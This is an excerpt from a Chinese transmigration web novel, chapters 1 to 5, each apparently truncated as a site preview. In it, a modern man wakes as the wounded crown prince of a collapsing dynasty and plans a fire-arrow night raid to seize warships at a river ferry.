《论亡国太子乱世苟活的可行性》 1. 第 1 章 《论亡国太子乱世苟活的可行性》全本免费阅读 虞煜浮在空中,看着眼前如电影般铺展开来的画面,觉得自己定是最近工作太过疲惫,才导致看过的小说场景入梦侵扰。 只见平原之上,河水汤汤,河畔屹立一座巨石筑成的雄关,城楼上烽燧高耸,铁甲如林,宛如天地间最坚固的屏障。 忽闻马蹄声作,由远及近的向着关隘而来。 守关的甲士急急登上瞭望台,只见黄土烟尘中,旌旗招展,玄甲生辉,黑压压的骑兵如潮水般涌来,直至关前的汜水畔方勒停战马。 整齐划一,俨然是一支训练有素的铁骑兵。 铁骑之中一人跃马而出,玄甲银枪,手持金印,高声喊门。 “守将何在,太子亲至,速速开门!” 关上甲士翘首眺望,果见金玺龟钮,其上阴刻“泰子”二字,再看玄甲之中赤黄旗帜飘扬,金蟒五爪,皆是太子之徽。 众甲士一时面面相觑,不知如何是好,只得速派人员前往关内送信。 “太子亲至,尔等闭门不开,意欲何为?” 见守关之人不应,喊门之人纵马上前数步,抢指关上众人厉声喝问,随着他的动作,身后的数百铁骑也有了些许的躁动,战马刨地,铁甲铿锵。 “将军息怒,我等区区甲士,虽身负守门之责,却无开门之权,现已派人速报上官,不时便有答复,还请贵人捎待。” 眼见气氛瞬时肃杀,关上甲士赶忙出言安抚。 喊门之人闻言大怒,正待呵斥之时,有人率先开口,遏住了他的满腔怒火。 “他们尽忠职守,是大雍之福,孤且再等上一等。” 说话之人声音清润,语气平缓,给人一种温柔和熙之感。 甲士悄然看去,只见玄黑铁甲之中,有一人白马银甲,应当就是那位贵人。 看着万黑丛中一点白的人,虞煜在心中暗自吐槽,如此醒目,难怪小说中流矢像设置了定位一样直奔他而去。 梦中的场景持续推进,向着虞煜看过的剧情铺陈而去。 “贵人息怒。” 甲士再次告罪,好在此时报信之人已带着上官疾行而来,来的也不是旁人,正是总揽梧州大权的州牧龚守仁,近日他巡行周边,如今正好在踞牢关内。 “大人。” 见其疾步而来,甲士们纷纷见礼,心底却都暗自松了口气。 只是令他们没想到的是,龚州牧到此,却不吩咐放下吊桥,而是下令弓弩就位,箭指关下大声喝问。 “来者何人,报上名来!” “我乃历州都尉姜泽,今奉太子回京驰援,尔等还不速速收起弓弩,降下吊桥,开门迎驾!”姜泽再次高举金印。 “一派胡言!” 然而出人意料的是,龚守仁尚未回答,其后一人已脱口而出,直斥姜泽,是州牧属官商怀仁,出身大族,极受倚重。 “昏君无德,不日前已于上京枭首伏诛,雍祚已亡,天下间何来太子!” 一时之间,如水落滚油,整个关隘一片哗然。 梧州与上京虽只隔乾州之地,却因两洲皆土地辽阔之地,再加之天险汜水的横亘,对上京的消息多有闭塞,除却说话之人,众人此前只知上京被义军所围,尚不知皇帝身死之信。 皇帝已死,那…… 隐晦探询的目光,纷纷落在白马银甲之上。 骤闻噩耗,虽心中早有预料,但端坐在马背上的太子,还是不由的一阵头晕目眩,几乎坐立不稳。 “太子静心,此刻不是悲痛之时。”卫于他身侧的家令赶忙伸手护持,轻声提醒。 “无碍。”太子微微摇头,拨开了他伸来护持的手,不理会家臣的眼神阻止,径直策马向前,更是越过了姜泽一个身位。 “殿下!” 出声惊呼的不止其身后属臣,还有浮在空中的虞煜,看着一马当先立于关隘之下的太子,他不由扼腕叹息。 这太子不知是太过自信,还是真的不懂君子不立于危墙的道理,如此冒进,难怪会在小说开局就领了盒饭。 “不知州牧可还记得孤。” 太子抬头看向龚守仁,容颜昳丽却不显骄矜,在城楼火光的映衬之下,端的是芝兰玉树,温润如玉。 “自然记得,年前殿下奉命前往历州荡寇,途径梧州时,曾与臣有过一面之缘。” “你既识得孤,缘何放任属官在孤面前肆意妄言!” 此言一出,不仅太子群臣暗道不妙,就连龚守仁也在心底叹息,太子空有一副好皮囊,却奈何没长一个好脑子,也难怪会因人算计被皇帝所恶,在大婚之日大礼未成之际便驱离上京。 龚守仁和商怀仁对视一眼,皆在对方眼中看到了不屑和决心。 他二人此前话论天下,皆言当今天子蠢政不堪,太子迂直少谋,晋王更是短视弄权,虞雍王朝已有败亡之象。 而今看来确凿无疑,他们此刻乘势而起,可谓上应天意,下顺民心,要知虞氏先祖,原不过雍州小族,不也凭借胆色独得天下三百载。 “殿下仁孝,天下皆知,然当今天下民愤滔天,陛下虽死却不足以平民怨,为天下大义,也为黎民众生,臣叩首拜请殿下以身殉国,全忠义,平民怨。” 龚守仁边说边抬手向太子行揖礼,看似尊敬,实则锋芒毕露。 “狂言妄语,国家危难之际,汝食雍禄却不思报国,妄以贼反荷杖之姿反辱储君,其心可诛,天道难容!” 玄甲军中又一人策马而出急声呵斥,是一个须发皆白的老者,虽未着甲胄,却精神矍铄。 虞煜一看这老头,又来了精神,这是书中作者描述的大预言家,有见微知著之能,可惜性子刚直,嫉恶如仇,不容于豪强之眼,在太子死后没多久便遭遇截杀而亡。 虽着墨不多,但因其碧血丹心,死法悲壮,在读者群中一直颇有人气。 “我劝尔迷途知返,与我等一同拥护太子回京驰援,戴罪立功,方是正途。” “不知尊驾何许人?” “傅泓,陛下亲封太子太傅。” “原是傅公,下官失礼。”龚守仁敛衣行礼,看来颇为庄重,却不掩满口狂言,“傅公既司太子教导之职,更应明白在当前局势下,虞雍无德,暴虐苛政,民不聊生,为君者当自戕以慰天下黎明,……” “竖子无礼,安敢以下犯上!” 一语未毕,便被傅泓拂袖怒骂,而龚守仁却丝毫不放在心上,反而不疾不徐的将话说完。 “而非苟活于世,愧对苍生。” “你待如何?” 自听让其以身殉国之语后一直未有言语的太子突然开口,声音平缓却眸若寒冰,直直看向龚守仁。 “逆民者,以兵伐之。” 龚守仁嘴角含笑,似对他的注视毫不在意,却以手为势,号令弓弩手放箭,关上甲士一时愣怔,不知是否应该依令行事。 虞煜看得一愣一愣的,这人嘴上套路千层,下起手来也真不含糊,书中的缺根弦的太子死在他手下,也不算太冤枉。 “全军听令,结圆形护阵,誓死护卫殿下!” “殿下快退!” 面对龚守仁的突然出手姜泽也是一惊,但千钧一发不容深思,趁甲士愣怔之际,他火速下令,并催马上前,护卫太子。 然关上之人反应也不慢,商怀仁抢立于城楼之前,挥舞旌旗,口中怒吼,“顺民者昌逆民者亡,弓弩手听我号令,万箭齐发,掀了这涂炭生民,黑暗腐朽的天!” 在他的怒吼声中,甲士们来不及思考,成波的箭雨已向玄甲军飞射而来。 傅泓虽未穿甲胄,却也在此刻拔出佩剑,一边将飞落他与太子身前的箭矢纷纷挡落,心却是沉了下去,对方如此肆无忌惮,只怕早已有鹰扬虎噬之心。 眼看箭雨渐密,姜泽策马抡枪至太子身侧,同时侧身呼喊未着甲胄的傅泓先行撤回玄甲军中,却见傅泓眼中突现惊恐,再转身已是晚矣。 一支不知何时漏掉的箭矢破空而来,与他错身而过,径直刺入太子胸口,力透铠甲,温热的鲜血飞 2. 第 2 章 《论亡国太子乱世苟活的可行性》全本免费阅读 寂夜无声,三面环山的荒野之中却火光通明,有近万铁骑在此安营。 居中的大帐之外,篝火烈焰之上架着一具铜釜,釜中置满艾草蓟叶,火光跃动间白雾升腾,巫医在其旁围跳祈福,意在驱秽。 风动之中,白色的烟雾穿过门帐,逐渐笼罩在帐中唯一的小榻之上,随风而入的不止艾烟,还有祝祷间步履诡异的巫医。 艾烟安神,但在榻上昏睡的青年却并不安宁,昳丽到让人失神的面庞上没有一丝血色,眉头微蹙着喘息艰难,似乎陷在了一场难醒的噩梦中。 胸口被浸满麻药的的细布覆盖,有暗沉血迹自布下透出,整个人也被用白绸紧紧束缚在小榻之上。 “启!” 随着巫医的一声大喝,有甲士托盘而出,其上分置有细布、艾汁、药泥及一柄形似柳叶铜制小刀,其刃锋利,隐见寒芒。 在待巫医用艾汁清洗双手及小刀之后,接到示意的姜泽与另一位青年跪坐在床榻之前,紧紧按住了青年的四肢。 帐内众人的目光瞬间汇集在了床榻之间,治疗方案在从踞牢关赶至此地的路上已制定好的,但因其过于惊世骇俗而为众人所不能接受,最终由傅泓力排众议拍板同意。 但此时此刻众人心中还是一阵惊疑,毕竟对太子之躯刀剜火炙,简直匪夷所思,闻所未闻。 只见巫医揭开细布,手起刀落间就剜出了刺在青年胸口肌理间的箭头,鲜红的血瞬间从伤口处涌出,一直昏睡的青年在疼痛中痉挛,却因人力的束缚动弹不得,喉咙间溢出痛苦的呜咽。 “火。” 剜出箭头的巫医手下不停,用浸泡了艾汁的细布对伤口略作清洁之后,抬手吩咐。 立于其后的甲士从一侧的火盆之中抽出一柄烧红的烙铁,以厚布包裹其柄,递到了巫医手中,伤口在高温炙烤之下迅速止血,而床榻之上的人早已因极致的痛苦导致虚脱,唯有微微起伏的胸口向众人昭示他还活着。 将特制的药泥均匀的涂抹在烙伤之处,再以干净的白绢将其厚厚包裹,巫医方才旋身擦掉自己满头的汗水,尚不及向屋内众人细说伤情,就听身后传来一声惊呼。 “殿下醒了!” 难以置信的回身望去,果见榻上青年的双眼微微睁开,瞳孔幽深却毫无焦距。 跪坐在前的姜泽轻声呼唤,傅泓也风一般的疾行到床榻之前,其余人因身份不够并不敢直接上前,皆在后面探头探脑,以期探询主君情况。 青年循声望去,却又力有不逮的闭上双眸,围在榻边傅泓见他又将昏死,急得顾不上仪态一边大声呼唤,一边提溜着巫医的衣襟将其拖到塌前。 “殿下——” “殿下!” 刚打算上前查看就被提溜的巫医表示无奈,但也不知殿下为何会在此刻转醒,为防生变,当即细致缜密的检查了一番,发现是因麻药后劲而导致的沉睡,其余一切与此前预期相符,未生变故。 他的解释让众人高悬的内心暂且落到了实处。 虞煜不知该怎样形容此刻的感觉,他深坠在一个怪异荒诞的梦中,细碎的痛感如同一团黑雾如影随形,牵绊住了他所有的意识,让他沉沦失神。 紧接着,便是铺天盖地的剧痛席卷而来,如有一只铁手将他胸口的肌肉拧成一团,又有无形的火焰在其上炙烤,每一次呼吸都成了一种煎熬。 耳边的声音嘈杂纷乱,像五百只鸭子在同时开会,其中出现最多的就是麻药二字,说话之人充满自豪,似是在阐述什么了不得的事物。 这一点让丝毫没有感受到麻醉效果却依旧饱受疼痛折磨的虞煜极度逆反,挣扎着发出声音。 “你这什么垃圾麻药……” 耳边五百只鸭子开会的声音戛然失声而止,虞煜满意的在痛苦中陷入沉睡。 虞煜再次醒来时,怪诞的梦境还在脑中徘徊,朦胧中下意识的想要翻身而起,却被胸口的疼痛驱走睡意,随着意识的慢慢回笼,他的视野也逐渐清晰起来。 细碎的光斑透过门帐,洒在绒毯铺设的地上,映衬着居中处摆放着的铜制熏炉,古拙质朴,其上烟雾缥缈,浮动的是艾草的味道。 毫无疑问,这不是他那走极简主义装修风格的宿舍。 这是哪儿? 我是谁? 我还没醒吗? 就在他懵圈三连问的时候,突然感觉头顶光线一暗,不妙的感觉油然而生,抬眼看去,眼前一黑的同时想到了网上那张流传极广的师徒四人表情包。 再闭眼,再睁开,不对! 再闭!再睁!还是不对! 再闭…… “殿下,您怎么了,眼睛不舒服吗?” 天知道他不过是简简单单的睡了一觉,怎么一睁眼就被一群老少爷们围着,这画面太美他不敢看。 好在那些人看他初醒后精神不佳,略向巫医了解他已无大碍之后纷纷离去,暂时给予了他一个安静的休养环境。 尚来不及思考自己身处何处,紧接而来的记忆冲击就让他面色煞白,一股完全不属于他的记忆冲进了脑海,与他原本的记忆纠缠交融,最后归为一体。 交融一体的记忆告诉他,他不仅是穿越了,还穿了书,穿到了一本以乱世为背景的架空小说中,成为了其中的与他同名的雍国太子。 从平民到太子,赚了吗? 答案显然是没有。 父死国亡,原主本身也命悬一线。 毕竟过路的小狗都知道:“宁为太平犬,不做乱世人。” 乱世中的亡国太子,和在游戏里做经验怪有什么区别,怎么看都是不得善终的存在。 并不想二次喜提盒饭的他只能回溯着原主的记忆和书中的剧情走向,试图从一团乱麻的局势中窥探一二,越看越觉得眼前漆黑。 原主身为太子,却死在了小说开篇的第一章,踞牢关前一支箭矢帮他销了号,顺带着拉开了乱世的帷幕。 从此虞煜这个名字开始流转于书中各路野心家之口,只要想起兵的,都免不了要借用一下这位倒霉太子的名义做做文章,为自己的造反创造合理性。 对于此作者还特意借男主之口吐槽了一句:“哀愍太子都死了二十年了,这些人造反时却还要给他披麻戴孝,着实令人发笑。” 如此可见,这绝望的开局,是游戏里地狱模式才会有的剧情配置吧。 如果可以重来,他一定管住自己的双手,绝对不会点开那本有着和自己同名炮灰的小说。 但现实没有如果,一切都已成定局,面对这样的穷途末路,虞煜的沉默震耳欲聋。 这烂怂的亡国太子谁爱做谁做,反正他不乐意做! 面对一眼看到头的烂摊子想摆烂是肯定的,但虞煜也明白,以他目前的这种身份,躺平摆烂,无异于只有死路一条。 于是秉承着好死不如赖活着的生存理念,他强迫自己接受穿越现实。 凡事要往好的想,虽然身处乱世一 3. 第 3 章 《论亡国太子乱世苟活的可行性》全本免费阅读 虞煜从原主的记忆中扒拉出了舆图,试图了解雍朝的地域环境,最终目光定格在了历州的所在之处,心思却被完全另一个地方所吸引。 这是个得天独厚的好地方呀! 暗自思忖着,虞煜心中已有决断。 看着虞煜陷入沉思,家令有些不明就里,虽只过了一夜之间,但他觉得中箭醒来后的太子似乎沉稳了许多。 正好巫医前来送药,家令接过后躬身亲呈虞煜,而陷入思考的虞煜却正觉口渴,看见递到眼前的杯盏还以为是茶水,接过来一饮而尽,不料杯中满盛的是苦涩的药汁,苦得他整张脸瞬间都皱了起来。 “殿下?” 看他神色有异,家令心中一紧,担心他的伤口再度发作,不由自主的向前疾行了几步,又在惊觉自己逾越之后,略微后退,但眼中闪过的担忧之色,难以掩饰。 “殿下若感不适,还请让巫医查验一二,另行诊治,切勿强撑呐。” 听着家令语重心长的话语,虞煜才发现帐中还有一人,穿着打扮与其他人全然不同,长发完全披散开来,身着花花绿绿褴褛衣衫,此刻正恭敬的跪趴在地上。 一瞬的迟疑之后,虞煜想起了他的身份,是这个时代里特有的巫医,巫者与医者之间的过渡产物。 这可是尖端人才呀! 看着跪趴在地的巫医,虞煜眼前一亮。 要知道在这个不问苍生问鬼神的时代,全民治病基本都靠巫者跳大神,像巫医这种懂得用草药来辅助治疗的巫者,已经是时代的弄潮儿。 但想起其虽有效却粗暴异常的治疗手段,虞煜还是暗搓搓的抖了一下,婉拒了家令的好意,表示自己并无大碍,并出言夸赞了一直跪趴在地的巫医,让其先行下去休息。 “军中是否安稳,其他人现在何处?” 看着淡定从容,安静退去的巫医,虞煜对他的评价又提升了一个台阶。面对依旧担忧的家令,他正了正神色,转移了话题。 “众臣现皆候在帐外听诏。” 家令没有回答他的第一个问题,但虞煜心底已有计较,在皇帝被诛,太子重伤及王朝或许覆灭的接连打击下,军中人心必定是浮动不安的,若非此前的龙吸水异象暂时给士兵们打了一剂强心剂,只怕早已发生哗变。 他虽然没有做过统军调度的工作,但原主毕竟是在封建正统教育下成长起来的太子,封建帝王所该拥有的政治素养,他是一样不落的完全学过,对于这些知识原主的实际应用程度虞煜不做评价,但总归纸面实力看起来是极好的。 再加上他本身拥有多年的基层工作经验,深知群众工作的重要性,在这样的特殊时刻,无论是原主的记忆所学还是他的工作经验都提醒着他,做为全军的主心骨,他应该在众人面前露上一面,传达出自身安然无恙的信息。 稳定军心的同时,也要趁机了解一下自己目前的实际力量,才好继续制定下一步的计划,毕竟留给他的时间已经不多了。 前有历州安存德磨刀霍霍,后有梧州龚守仁虎视眈眈,他现在夹在二者之间难以腾挪,若再不得破局之法,性命危在旦夕。 想着,他不顾阻拦,执意要求家令扶他下榻。 而随着身体的移动,整个人逐渐被胸口的隐痛所吞噬,等他安稳的站在地上之时,全身已被冷汗浸透,扶拄着家令的手掌也因疼痛而微微颤动。 以巾帕拭去额头脸颊的汗珠,他微微闭目稳定心神,拂开家令搀扶的双手,自己一步一顿的尝试行走,直至帐门前略作停顿,深深吸了一口气后,方才掀开帐帘向外走去,步履稳定,若非知情人,都看不出他片刻前还躺在床榻之上难以挪动。 甫一出帐门,一股雨后湿润的空气瞬间侵袭了他,清风携着寒意,刺激着他的口鼻,让他控制不住的微微咳嗽了几声,胸前的伤口被咳嗽的动作拉扯,疼得他脸色发白。 但考虑到此刻身处帐外,周围之人能清晰的看到他的一举一动,他还是忍着剧痛挺直了脊背,正视着在原主记忆中闪现无数次,但却是第一次真正出现在他眼前的属臣和军队。 和他猜想的没有半分偏差,士兵们三三两两的围着篝火席地而坐,所有人的目光显得空洞无神,神色中透露的尽是疲惫和无奈,一些疲惫的士兵倚着帐幕打盹,盔甲随意散落一地。 而他的属臣则全部围站在他所在主帐前的空地之上,无人交谈却一脸沉重,整个营地陷在一片死寂之中。 虞煜毫不怀疑,以这样颓唐的精神状态,若此刻有敌人突袭,那他们绝对会死得透透的。 首先注意到虞煜的是站立在主帐之外的属臣们,看他来到帐外,惊讶不已的对视一眼,纷纷走上前来与他见礼。 而随着他们的动作,也陆续有士兵注意到了他的所在,零零散散的向他叩首行礼。 他微微抬手示意众人免礼,缓步向前踏入营地之中,开始了对自己军队的第一次巡视工作,属臣们不知他作何打算,惊疑之间也只能亦步亦趋的跟随在他的身后,等待着进一步的指示。 随着他的出现,周围的松懈的气氛似乎都变得凝重了起来,所到之处士兵纷纷行礼,低迷的士气也有了逐步的回升。 清晨的雾气匍匐在行营之中,三面环山的荒野之上,寥寥几株枯木衰草狼狈倒地,不知何时天空又下起了蒙蒙细雨,润湿了虞煜的外衫,但他对此毫不在意,依旧缓步前行查看着营地的情况,随后赶来的家令出现在他的身后,为他撑起一柄油伞。 让他感到奇怪的是,细雨润泽之下,帐幕间的篝火依旧在熊熊燃烧,丝毫没有因雨熄灭的前兆,置于其上的铜釜之中咕嘟作响,正在煮着士兵们的早饭,但除却豆子的腥味,似乎还有一种让虞煜觉得十分熟悉的味道从篝火堆中飘散出来。 虞煜行至一堆篝火前细细查看,正在为士兵盛舀豆饭的火头军慌张行礼。 “这是什么?” 随手捡了一段枯枝,拨动着篝火间燃烧的残木,只见其上裹有凝脂一般的黄黑之物,燃烧间有微微刺鼻的味道传来,是让他觉得无比熟悉的味道。 “回殿下,这是火头将军昨日带领我等捡柴时在山中溪流间发现 4. 第 4 章 《论亡国太子乱世苟活的可行性》全本免费阅读 虽已有决断,但看着于自己下方坐定,满怀期待的群臣,虞煜突然生出一丝戏谑之心,十分期待他们在听到他的抉择之后的反应。 毕竟在座之人,可都是退守历州的坚定支持者。 其实结合当下的局势来看,退守历州无疑是一个很好的想法,但前提是要没有安存德这个两面三刀的二五仔,通过书中的描述,就连虞煜也不得不称赞他的演技是堪比影帝级的存在。 哪怕是素有见微知著之称的傅泓,在安存德真正反水之前,都没有察觉到他的狼子野心,一直把他当做忠心耿耿的大雍忠臣。 以至于在他和姜泽带着重伤的原主退回历州之际,就遭到了安存德的迎头痛击。 这场蓄意而为的截杀,不仅让从踞牢关前仓促撤回的玄甲军死伤惨重,更是几乎全歼了原主麾下的属臣,原主与傅泓都死于此地,历州渡前汜曲二水交汇形成巨川成为了他们最后的葬身之所。 哪怕并未亲身经历,但虞煜也能想见当时的惨烈情况。 既然他来了,就不会让这样的事情再度重现,但只有万余名甲士的他,此刻显然不足于和领有一州之兵的安存德争夺历州的所有权,退守历州在当前是一个无法实施的抉择。 他最终的选择是与历州一江之隔的锦州,但需要从历州渡乘战船横渡巨川,方可抵达。 这个选择出现在他心中之后,他就一直在思考要以什么方式才能以最小的损伤在重兵守卫的历州渡夺得战船而又避免被快速追击。 直至方才脂水的出现,让他豁然开朗,同时也补齐了计划的欠缺之处。 他要以火攻之法,夜袭历州渡,只要顺利抵达锦州,他就能够踞巨川天险为关,再寻发展之途。 而此事宜早不宜迟,不只是因为龚守仁和安存德的前后夹击,最重要的是他要在皇帝被杀的消息传到锦州之前,先一步抵达。 锦州独特的地理环境决定了他的通信系统极不便捷,源于上京的消息往往要长达数月之后方能抵达锦州,就连与它一水相隔的历州要向他传达消息,也需要数日的时间。 这就是他要抢先抵达的原因,若是晚了,那么接到皇帝死亡消息的锦州豪强,也很有可能自立为王,那时他想入主锦州,将会变得十分困难。 果不其然,在虞煜抛出放弃历州,退守锦州的抉择之后,整个帐内掉落了一地的眼珠子,连一向成竹于胸的傅泓都微微有些诧异,其余众人更是大惊失色,甚至神情都出现了一瞬间的空白。 “殿下,锦州乃孤立无援之地,末将以为放弃历州退守锦州实为不妥。” 率先提出反对意见的是位于姜泽后一位之人,年逾三十,着甲胄,阔面重颐,标准的武将长相。 虞煜在脑海中回想了一下,锁定了他的职务和名字,副都尉晏俭臣,在书中与原主同为历州渡受害者联盟,一起葬身江河。 “何以见得?” 虞煜不动声色的询问道,对提议被人反对没有感到丝毫的诧异,毕竟在没有如同他一般全知剧情的上帝视角加持,反对才是正常的表现。 历州多好的地方,土地肥沃,水源充沛,曲汜二水环绕穿行而过,三面环水以为界,南拒锦州,西阻梧州,东隔随越二州,北面与上京只隔着一马平川的明州沃野,是难得的地利之所,为什么要舍弃这么好的地盘,去选择交通不便只有水路通行的锦州呢,那地方在世人的眼中,与蛮荒无异。 “锦州乃孤城,难以自足,补给全靠历州供给,犹如被其勒住脖颈,而一遭围困便唯有任人宰割,末将实不知殿下因何做出舍历州选锦州之决断,但此举万万不可行。” 晏俭臣一脸严肃,将弊端一一与虞煜分析之后,庄重肃拜,唯恐主君一意孤行,做出不智之举。 随着他的话语落下,群臣除傅泓和姜泽仍在沉思,其余人皆议论纷纷。 对其所说虞煜却不急着做出回应,而是正坐主位细细听着群臣对退守锦州这一抉择的可行性及风险性进行探讨。 结果如他所料,众人皆认为此举不可行。 “殿下为何属意锦州,那等蛮荒之地,完全可以在入主历州之后,随意拿下便罢。” 一直在沉思的傅泓突然开口,漫不经心的语气中全然是对锦州的不在意,坐在他对面的姜泽抬眸,有些疑惑的看向他,而他则在话音落下之际便端起茶盏,遮掩了脸上的神色。 其他人或许没有看到他们二人这一番的眉眼官司,但居于上位的虞煜却看得一清二楚,他本来对傅泓的这番话语颇有疑惑,实在不像是一个以谋略闻名之人所说出的,然后两人的一番做派,让他瞬间明了。 老头子这是在试探自己呢,想看看自己的这一抉择,到底是通过了深思熟虑还是一时兴起。 而除了姜泽,其他人似乎都没有意识到这点,纷纷觉得傅泓的提议言之有理,相比历州,锦州可不就是一个可有可无之地,殿下若是喜欢,大可如傅泓所说的那般,入主历州之后再将其拿下,反正历州可卡着锦州的嗓子眼呢,完全不用担心拿不下的问题。 “殿下,傅公所言极是,若喜锦州,完全可待入主历州整合了了兵马之后再做图谋,其时两军合一,我们的势力将在南疆无人可敌,取下锦州,不过探囊取物,完全没有必要因小失大。” 虞煜看着异口同声的群臣,只觉头疼,原本以为就原主不聪明,没想到他下面的属臣也都是榆木疙瘩,整个太子府的架构犹如一个草台班子,运行至今怕是全靠傅泓和姜泽在其中拉扯。 这也是没谁了,难怪会早早的出局,虞煜心梗不已。 “整合兵马?整合谁的兵马?谁又能让孤整合兵马?” 虞煜的一连三问,让一心劝谏的众臣安静了片刻,随后又再次异口同声的报出了那个虞煜此刻根本不想听的名字。 “自然是历州州牧安存德呀。” 什么叫信任,这就是信任,捧着项上人头去成全了别人的霸业之路而不自知。 “你们怎么知道安存德会让我整合他的兵马,他和你们说了,我怎么半点不知情呢?” 气极而笑的虞煜甚至都忘记了自称孤,屈指轻叩小几,木质的脆响敲击在众人心头。 哪怕虞煜此刻面带笑容,显得十分平静,但迟钝的臣子还是觉察到了他的不悦,但大多都有些不以为然,毕竟太子迂直少谋一直都是众人默认的事情,虽不知此刻为何一意孤行退守锦州,只当他被龚守仁吓到了,才想去往锦州那种蛮荒之地以期逃避。 只要劝谏几句,不多时自会打消念头。 “殿下,我们离开历州之时曾与安大人有过约定,他立誓为大雍守好历州,足见其赤胆忠心,我们此番回转,他必定会将历州亲自交于殿下手中,于此无需多虑。” “赤胆忠心,好一个赤胆忠心,哈哈哈。” 虞煜尚未言语,傅泓倒是先拊掌大笑了起来,让群臣一时面面相觑,不知其因何而发笑。 “傅公,殿下面前,还需注重仪态……” 太子宾客中有人轻声劝道,却被傅泓一语怼回。 “仪态你个棒槌!” “傅公不听劝告也就罢了,缘何骂人!” 文人大多都自认有些风骨在身上,自然受不了半点屈辱,太子宾客被傅泓一语噎了个倒仰,一气之下也呛出声来。 “说的就是你个棒槌,你们这些人全是棒槌!” 傅泓并不将他的愤怒放在眼里,反而对着刚 5. 第 5 章 《论亡国太子乱世苟活的可行性》全本免费阅读 历州渡坐落于历州西南的边角处,巨川在它身前奔流西去,因占据天险,自古以来便是兵家必争之地,常年都有重兵驻守于此。 渡口两侧层峦叠嶂,林深树茂。 其暗处,有一队背负弓箭的甲士正悄悄的向渡口方向靠近,玄色的皮甲掩隐在夜色和草木之中,行动中不闻丝毫声响,直至渡口不远处的山林中停下脚步,默默潜藏。 正是由姜泽带领的夜袭历州渡先锋军,他们在此刻已守候多时,只待渡口驻军夜深疲倦后方才开展行动。 而玄甲军的大部队,则留在他们身后不远处的山坳之中,等待他们发出指令后再行冲锋。 示意部众止步后,姜泽目带谨慎的探查着渡口此刻的兵力分布和整体防御情况。 夜静谧,渡口火架上燃烧的篝火在风中“噼啪”作响,映照着渡口及停靠在岸以铁链缠绕相连的众多战船,随着江水的波动起起伏伏,在夜色下显得更加静穆。 渡口的守卫怎么少了那么多,尚且不足往日里的十之一二? 看着士兵们手持长戟,列阵自栈道之上走过,让对历州渡的驻扎情况了如指掌的姜泽陷入沉思。 能够如此大范围的抽调历州渡驻军之人除却安存德便不做他想。 姜泽思忖着,想起他们此前猜忌的安存德已有反心,似乎也在这一刻得到了佐证。 两队来自不同方向的巡逻士兵行至渡口正中进行交接,历州渡整体森严的防御在这一刻有了些许的松懈。 就是此时! 姜泽扬手示意开始进攻,潜藏在草木之中的部众们舍弃伪装,迅速向渡口方向推进,行动间挽弓撘箭,箭矢如雨般飞射向渡口。 渡口守卫见有人突袭,纷纷集结准备抵御,却见箭矢破空而来,尽皆掉落在渡口的木栈道上,并未对他们造成任何伤害,心底迷惑重生。 皆以为是不知天高地厚的蟊贼,想趁着历州渡此刻兵力虚空而进行偷袭,可惜箭术不佳,未伤及他们分毫却反而暴露了自己的位置。 守将亲点了一队人马,命他们抢攻上山,务必要尽诛蟊贼。 他让要这些蠢贼知道,历州渡可不是什么阿猫阿狗都可以挑衅的地方。 然而奔袭而去的人马在进入山林之中便失去踪迹,甚至不曾听到任何厮杀之声传来,反而是对方的箭矢依旧一刻不停的射向渡口,而被箭击中之人除去些微的钝痛之外,却没留下任何的伤口。 渡口之上的守军不由有些许的慌张,夜色下的漆黑山林,此刻仿佛一只择人而噬的巨兽,让人悄无声息的失去踪迹。 守将也觉得奇怪,正打算派出第二支队伍之前去探查时,一支箭矢飞射而来,砸在了他的护心镜上,他顺手将其捞起,才发现原本箭头的位置被布巾牢牢缠缚,难怪射中人身却不能造成伤害。 但为什么要把锋利的箭头包裹起来呢?没有杀伤力的箭矢如此一刻不停的释放到底有何意图? 守将握着箭矢细细查看,发现包括箭头的布巾之上似乎被浸满了什么液体,湿滑如凝脂,却带着一股刺鼻的味道。 用指头少量蘸取液体之后捻了捻,却发现自己从未见过这种东西。 渡口上的士兵们也大都被这奇怪的箭矢所吸引,但却不能同守将那样大大咧咧的拿在手中翻看,只能在结阵过程中悄悄窥探。 “这是魔火!快跑呀!” 突然有一士兵惊呼出声,忙乱的向后逃散,有不明所以的人随着他开始逃跑,排列整齐的行伍瞬间凌乱。 守将怒砍了几个人后才勉强维持住整体的秩序,最初逃跑之人也被副将擒获拖至他的眼前。 “什么是魔火?” 守将狠狠的瞪视着这个胆敢扰乱军心之人,但也觉得箭矢上所缚之物绝不简单,事出反常必有妖,想从这个可能知道什么的士兵口中问个明白。 然而这个士兵显然是被吓破了胆,一直哆哆嗦嗦的重复“魔火”二字。 虽然没有问出究竟,但火这个字还是瞬间拔高了他的警觉。 “不好!” 他惊呼出声,正准备下令将这些箭矢投入江中,却已来不及了。 他派去的队伍毫无讯息,但那些暗中偷袭的人却已悄无声息的来到了渡口之外不足百米的地方,双方照面,甚至来不及对峙,对方的队伍之中就飞射出大波燃烧着火焰的箭矢,落在栈道之上,瞬间点燃了此前的箭矢。 历州渡非全木搭建,其中还混合了石砖堆砌,却不能阻止火势的蔓延。 箭矢所至之处,橙红色的火焰冲天而起,整个渡口黑烟滚滚。 “长枪兵、弓箭兵迎敌!” “盾兵防守灭火!” 守将从未见过燃烧得如此迅猛的东西,但到底领兵多年颇有大将之风,虽惊诧却不见慌张,迅速下达了清晰的战斗指令。 已抢登上渡口的姜泽及其部众则是完全放弃了弓弩,清一色的换上了环首刀,劈砍推进直逼战船而去。 火光映衬下渡口的守将终于看清了来犯者的面容。 “姜泽!你怎么在这!” 守将看着不应该出现在此处的人惊呼出声。 做为安存德亲信的他自然知道其针对太子的全盘计划,对姜泽的出现惊惧不已,他现在不是该身处太子安营的巨屏山中吗,怎么跨越百里抵达了历州渡的。 要知道安存德今日之所以抽调大批兵马,就是为了前往巨屏山截杀太子。 在渡口守将为姜泽出现而惊惧之时,跟随着大部队挪到姜泽方才潜藏位置的虞煜也在为安存德带领大批兵马前往巨屏山的消息所惊讶。 虞煜着实没想到自己打破退守历州的计划,还会产生这样的变化,但也算阴差阳错中再度避开了安存德的截杀。 挥退了前来禀告的探子,他听到身后的群臣愤然骂道。 “安存德这贼子,果然存着狼子野心。” 他将目光投向了火光冲天的历州渡,看着双方开始了激烈的厮杀,惨叫声此起彼伏,哪怕隔着不远的距离,他也依旧能够听清。 面对守将的疑问,姜泽回应他的则是一个劈砍,自认不是姜泽对手的守将自是不敢硬接这招,急忙向后避开。 没想到姜泽却只是虚晃一招,逼退他之后迅速带着部下循着战船而去。 “他们想要夺船,快拦住!” 守将瞬间明白了他的意图,大声呼喊士兵阻拦,他知道州牧的计策此刻只怕是落空了。 6. 第 6 章 